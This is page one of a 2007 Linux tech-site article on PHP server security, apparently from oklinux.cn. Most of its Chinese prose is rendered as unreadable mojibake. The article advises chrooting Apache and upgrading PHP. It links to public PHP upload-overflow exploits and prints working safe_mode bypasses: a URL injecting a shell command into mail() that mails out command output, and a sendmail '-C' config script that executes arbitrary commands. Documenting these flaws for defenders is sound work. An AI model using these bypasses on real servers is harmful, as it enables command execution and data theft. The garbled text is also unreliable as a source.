Ê×Ò³ | ×ÊѶ¶¯Ì¬ | linux»ù´¡ | ϵͳ¹ÜÀí | ÍøÂç¹ÜÀí | ±à³Ì¿ª·¢ | linuxÊý¾Ý¿â | ·þÎñÆ÷¼¼Êõ | linuxÏà¹Ø | linuxÈÏÖ¤ | ǶÈëʽ | ÏÂÔØÖÐÐÄ | רÌâ | linuxÕÐƸ | HR | ¾µÏñ
OKLinuxÖÐÎļ¼ÊõÕ¾
¡¤ÉèΪÊ×Ò³
¡¤¼ÓÈëÊÕ²Ø
¡¤ÁªÏµÎÒÃÇ
ϵͳ¹ÜÀí: ÖÐÎÄ»·¾³ ϵͳ¹ÜÀí ×ÀÃæÓ¦Óà Äں˼¼Êõ | Linux»ù´¡: »ù´¡ÈëÃÅ °²×°ÅäÖà ³£ÓÃÃüÁî ¾­Ñé¼¼ÇÉ Èí¼þÓ¦Óà | LinuxÊý¾Ý¿â: Mysql Postgre Oracle DB2 Sybase other
ÍøÂç¹ÜÀí: ÍøÂ簲ȫ ÍøÂçÓ¦Óà Linux·þÎñÆ÷ »·¾³ÅäÖà ºÚ¿Í°²È« | ±à³Ì¿ª·¢: PHP CC++ Python Perl Shell ǶÈëʽ¿ª·¢ java jsp | PHP¼¼Êõ: PHP»ù´¡ PHP¼¼ÇÉ PHPÓ¦Óà PHPÎÄÕª
ËÑË÷ÖÐÐÄ LinuxÕÐƸ LinuxרÌâ Apache | LinuxÏà¹Ø: Ó²¼þÏà¹Ø Linux½â¾ö·½°¸ LinuxÈÏÖ¤ ÆóÒµÓ¦Óà ÆäËüUnix | Ïà¹ØÏÂÔØ: ×ÊÁÏÏÂÔØ ²Î¿¼ÊÖ²á ¿ª·¢¹¤¾ß ·þÎñÆ÷Àà Èí·ÓÉ ÆäËü
 ¼¼ÊõËÑË÷:
»áÔ±ÖÐÐÄ ×¢²á»áÔ± ¸ß¼¶ËÑË÷  
  ¡ú µ±Ç°Î»ÖÃ:Ê×Ò³>±à³Ì¿ª·¢>php>php¼¼ÇÉ>ÕýÎÄ

LinuxϵͳÏÂPHP·þÎñÆ÷°²È«ÅäÖü¼ÇÉ

http://www.oklinux.cn  2007-08-24  ÈüµÏÍø kit  »áÔ±ÊÕ²Ø  ÓοÍÊղؠ ¡¾´ó ÖРС¡¿ 
Äú²é¿´µÄÎÄÕÂÀ´Ô´ÓÚhttp://www.oklinux.cn

Ò»¡¢Web·þÎñÆ÷°²È«

 

PHPÆäʵ²»¹ýÊÇWeb·þÎñÆ÷µÄÒ»¸öÄ£¿é¹¦ÄÜ£¬ËùÒÔÊ×ÏÈÒª±£Ö¤Web·þÎñÆ÷µÄ°²È«¡£µ±È»Web·þÎñÆ÷Òª°²È«ÓÖ±ØÐëÊÇÏȱ£Ö¤ÏµÍ³°²È«£¬ÕâÑù¾Í³¶Ô¶ÁË£¬ÎÞÇîÎÞ¾¡¡£PHP¿ÉÒԺ͸÷ÖÖWeb·þÎñÆ÷½áºÏ£¬ÕâÀïÒ²Ö»ÌÖÂÛApache¡£·Ç³£½¨ÒéÒÔchroot·½Ê½°²×°Æô¶¯Apache£¬ÕâÑù¼´Ê¹ApacheºÍPHP¼°Æä½Å±¾³öÏÖ©¶´£¬ÊÜÓ°ÏìµÄÒ²Ö»ÓÐÕâ¸ö½ûïÀµÄϵͳ£¬²»»áΣº¦Êµ¼Êϵͳ¡£µ«ÊÇʹÓÃchrootµÄApacheºó£¬¸øÓ¦ÓÃÒ²»á´øÀ´Ò»¶¨µÄÂé·³£¬±ÈÈçÁ¬½Ómysqlʱ±ØÐëÓÃ127.0.0.1µØַʹÓÃtcpÁ¬½Ó¶ø²»ÄÜÓÃlocalhostʵÏÖsocketÁ¬½Ó£¬ÕâÔÚЧÂÊÉÏ»áÉÔ΢²îÒ»µã¡£»¹ÓÐmailº¯Êý·¢ËÍÓʼþÒ²ÊǸöÎÊÌ⣬ÒòΪphp.iniÀïµÄ£º

 

 

[mail function]
; For Win32 only.
SMTP = localhost

; For Win32 only.
sendmail_from = [email protected]

 

¶¼ÊÇÕë¶ÔWin32ƽ̨£¬ËùÒÔÐèÒªÔÚchroot»·¾³Ïµ÷ÕûºÃsendmail¡£

 

¶þ¡¢PHP±¾ÉíÎÊÌâ

 

1¡¢Ô¶³ÌÒç³ö

 

PHP-4.1.2ÒÔϵÄËùÓа汾¶¼´æÔÚÎļþÉÏ´«Ô¶³Ì»º³åÇøÒç³ö©¶´£¬¶øÇÒ¹¥»÷³ÌÐòÒѾ­¹ã·ºÁ÷´«£¬³É¹¦Âʷdz£¸ß£º

 

http://packetstormsecurity.org/0204-exploits/7350fun

http://hsj.shadowpenguin.org/misc/php3018_exp.txt

 

2¡¢Ô¶³Ì¾Ü¾ø·þÎñ

 

PHP-4.2.0ºÍPHP-4.2.1´æÔÚPHP multipart/form-data POSTÇëÇó´¦ÀíÔ¶³Ì©¶´£¬ËäÈ»²»ÄÜ»ñµÃ±¾µØÓû§È¨ÏÞ£¬µ«ÊÇÒ²ÄÜÔì³É¾Ü¾ø·þÎñ¡£

 

3¡¢safe_modeÈƹý©¶´

 

»¹ÓÐPHP-4.2.2ÒÔϵ½PHP-4.0.5°æ±¾¶¼´æÔÚPHP mailº¯ÊýÈƹýsafe_modeÏÞÖÆÖ´ÐÐÃüÁ´£¬4.0.5°æ±¾¿ªÊ¼mailº¯ÊýÔö¼ÓÁ˵ÚÎå¸ö²ÎÊý£¬ÓÉÓÚÉè¼ÆÕß¿¼ÂDz»ÖÜ¿ÉÒÔÍ»ÆÆsafe_modeµÄÏÞÖÆÖ´ÐÐÃüÁî¡£ÆäÖÐ4.0.5°æ±¾Í»ÆƷdz£¼òµ¥£¬Ö»ÐèÓ÷ֺŸô¿ªºóÃæ¼ÓshellÃüÁî¾Í¿ÉÒÔÁË£¬±ÈÈç´æÔÚPHP½Å±¾evil.php£º

 

 

<? mail("foo@bar,"foo","bar","",$bar); ?>

 

Ö´ÐÐÈçϵÄURL£º

 

http://foo.com/evil.php?bar=;/usr/bin/id|mail [email protected]

 

Õ⽫idÖ´ÐеĽá¹û·¢Ë͸ø[email protected]¡£

 

¶ÔÓÚ4.0.6ÖÁ4.2.2µÄPHPÍ»ÆÆsafe_modeÏÞÖÆÆäʵÊÇÀûÓÃÁËsendmailµÄ-C²ÎÊý£¬ËùÒÔϵͳ±ØÐëÊÇʹÓÃsendmail¡£ÈçϵĴúÂëÄܹ»Í»ÆÆsafe_modeÏÞÖÆÖ´ÐÐÃüÁ

 

 

<?
# ×¢Ò⣬ÏÂÃæÕâÁ½¸ö±ØÐëÊDz»´æÔڵģ¬»òÕßËüÃǵÄÊôÖ÷ºÍ±¾½Å±¾µÄÊôÖ÷ÊÇÒ»Ñù
$script="/tmp/script123";
$cf="/tmp/cf123";

$fd = fopen($cf, "w");
fwrite($fd, "OQ/tmp
Sparse=0
R$*" . chr(9) . "$#local $@ $1 $: $1
Mlocal, P=/bin/sh, A=sh $script");
fclose($fd);

$fd = fopen($script, "w");
fwrite($fd, "rm -f $script $cf; ");
fwrite($fd, $cmd);
fclose($fd);

mail("nobody", "", "", "", "-C$cf");
?>

 

»¹ÊÇʹÓÃÒÔÉÏÓÐÎÊÌâ°æ±¾PHPµÄÓû§Ò»¶¨Òª¼°Ê±Éý¼¶µ½×îа汾£¬ÕâÑù²ÅÄÜÏû³ý»ù±¾µÄ°²È«ÎÊÌâ¡£

¹²6Ò³: ÉÏÒ»Ò³ 1 [2] [3] [4] [5] [6] ÏÂÒ»Ò³

ÉÏһƪ£ºLAMP£¨Linux+Apache+Mysql+PHP£©ÓÅ»¯¼¼ÇÉ   ÏÂһƪ£ºLinuxÓëWindowsϵͳÏÂCronolog°²×°ÅäÖÃ

¡¾ÊÕ²ØÓÚÊղؼС¿ ¡¾ÆÀÂÛ¡¿ ¡¾ÍƼö¡¿ ¡¾´òÓ¡¡¿ ¡¾¹Ø±Õ¡¿
Ïà¹ØÎĵµ
¡¤wiki°²×°±¸Íü¼
¡¤Redhat linux 9ÏÂÈÃPHPÖ§³ÖjavaÀà
¡¤PHPÖÐÈçºÎÆÁ±Îphpinfo()Õâ¸ö¸ÃËÀµÄº¯Êý
¡¤MTÉý¼¶µ½2.661
¡¤½«MM/DD/YYYY¸ñʽµÄÈÕÆÚת»»ÎªYYYY-MM-DD¸ñʽ
¡¤PHP±à³ÌС¼¼ÇÉ£ºÔÚDW4ÖÐÓï·¨¸ßÁÁ
¡¤window.open()µÄËùÓвÎÊýÁбí
¡¤gbk,utf8,×óÓÒΪÄÑ
¡¤ÕýÔò±í´ïʽÅжÏemailºÍURL
¡¤¶ÔÏóÓëÏñËصÄÑ¡»ñµÃij¸öÍøÒ³ÉϵÄËùÓг¬ñͽÓ
¡¤SSIʹÓÃÏê½â(1)
¡¤PHP/MySQLÈýÈÕͨ(5)
¡¤Ò»¸öбäÁ¿
¡¤phpºÍasp¶ÔÏóµÄµÈ¼Û¹Øϵ
¡¤adodb+smarty+myClass ½áºÏ£­Êý¾ÝÀàµÄÖÇÄܲÙ×÷
¡¤Ò»¸ö°Ñ×Ö·û´®°´php´úÂë¸ßÁÁÏÔʾµÄº¯Êý
·¢±íÆÀÂÛ
ÃÜÂ룺 ÄäÃûÆÀÂÛ
ÆÀÂÛÄÚÈÝ£º

(²»³¬¹ý250×Ö£¬ÐèÉóºËºó²Å»á¹«²¼£¬Çë×Ô¾õ×ñÊØ»¥ÁªÍøÏà¹ØÕþ²ß·¨¹æ)
 
  ×îÐÂÎĵµ
¡¤FreeBSD ZIL»úÖƲ»°²È«ÎļþȨÏÞ©¶´
¡¤Novell eDirectory Post AuthÍ·Ô¶³ÌÒç
¡¤Linux Kernel Ext4×Óϵͳioctl±¾µØȨÏÞ
¡¤Linux Kernel ext4_fill_flex_infoº¯Êý
¡¤Linux Kernel ext4_decode_errorº¯Êý¿Õ
¡¤°Â°ÍÂíÈÎÃüÍøÂ簲ȫר¼Òµ£ÈΡ°ÍøÂçɳ»Ê
¡¤FreePBX¶à¸ö¿çÕ¾½Å±¾ºÍHTML×¢È멶´
¡¤DeluxeBB¶à¸öÔ¶³Ì°²È«Â©¶´
¡¤ÏµÍ³°²È«£ºWindowsÓëLinuxƽ̨
¡¤PostgreSQL±¬Â©¶´ Oracle¼ÒSunæÐÞ²¹
¡¤·ÖÎö³Æ¹È¸èChrome OS ½«³ÉºÚ¿ÍÖ÷Òª¹¥»÷
¡¤phpGroupWare¶à¸öÊäÈëÑé֤©¶´
  ÔĶÁÅÅÐÐ
¡¤UbuntuÖÐUFW·À»ðǽµÄ°²×°¼°Ê¹ÓÃ
¡¤UbuntuÀï°²×°ÅäÖ÷À»ðǽ
¡¤LinuxÏÂSniffer¹¤¾ßTcpdumpµÄ°²×°ºÍʹ
¡¤UbuntuÏÂÇáËÉ°²×°Ð¡ºìɡɱ¶¾Èí¼þ
¡¤Ubuntu·À»ðǽ UFW ÉèÖüò½é
¡¤SUSE Linux ĬÈϵÄiptables·À»ðǽÅäÖÃ
¡¤LinuxÏÂÆƽâ·ÓÉÆ÷WEP¼ÓÃÜ
¡¤CentOS Linux¹Ø±Õ·À»ðǽ
¡¤LinuxϵͳÖеÄPasswdÎļþÏêϸ½âÎö
¡¤LinuxÏ°²×°ÅäÖÃNTOP¼àÊÓÍøÂçʹÓÃÇé¿ö[
¡¤LinuxÏÂÅäÖÃsshÎÞÃÜÂëµÇ¼
¡¤Linux°²È«Ö®ÍøÉϾªÏÖɵ¹ÏÐͲ¡¶¾ÖÆ×÷¹¤
¡¤ÅäÖÃLinux Äں˲¢ÀûÓÃiptables ×ö¶Ë¿Ú
¡¤ÖÕÓÚʵÏÖ¼òÌåת·±Ì壬·±Ì嵽תÌå
¡¤Linux °²È«Ä£¿é£¨LSM£©¼ò½é
ÍøÕªÊÕ²Ø: